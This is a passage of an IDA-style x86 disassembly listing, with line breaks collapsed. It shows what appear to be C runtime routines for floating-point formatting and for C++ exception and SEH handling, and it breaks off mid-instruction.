jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test 